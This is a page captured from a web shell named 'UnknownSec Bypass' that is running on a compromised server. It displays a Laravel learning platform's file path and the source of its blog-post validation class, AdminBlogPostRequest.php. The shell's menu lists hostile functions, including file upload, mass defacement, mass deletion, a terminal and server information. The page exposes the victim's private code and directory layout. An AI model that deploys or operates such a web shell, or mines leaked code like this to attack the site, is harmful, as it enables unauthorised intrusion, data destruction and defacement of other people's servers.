UnknownSec Bypass
403
:
/
mnt
/
lmsestudio-instance-vol002
/
lms_cac963d5ee16
/
app
/
Http
/
Requests
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
AdminBlogPostRequest.php
<?php namespace EstudioLMS\Http\Requests; use EstudioLMS\Http\Requests\Request; /** * Class AdminBlogPostRequest * @package EstudioLMS\Http\Requests */ class AdminBlogPostRequest extends Request { /** * Determine if the user is authorized to make this request. * * @return bool */ public function authorize() { return true; } /** * Get the validation rules that apply to the request. * * @return array */ public function rules() { $id = Request::get('id'); $maxSize = 2048; $storageRemaining = (\Session::get('planLimite.plan_storage') - \Session::get('planLimite.storageSize')); $storageRemaining = (int)($storageRemaining * 1024); if ($maxSize > $storageRemaining) { $maxSize = $storageRemaining; } return [ 'title' => 'required|unique:posts,title' . ($id ? ",$id,id" : ''), 'category_id' => 'required', 'user_id' => 'required', 'picture' => 'sometimes|custom_images|max:' . $maxSize, 'slug' => 'required|regex:/^[a-z0-9-]+$/|unique:posts,slug' . ($id ? ",$id,id" : ''), ]; } public function messages() { return [ 'slug.required' => 'É obrigatória a indicação de um valor para o campo :attribute. Está sendo apresentado o slug baseado no título/nome.', ]; } }
Copyright © 2026 - UnknownSec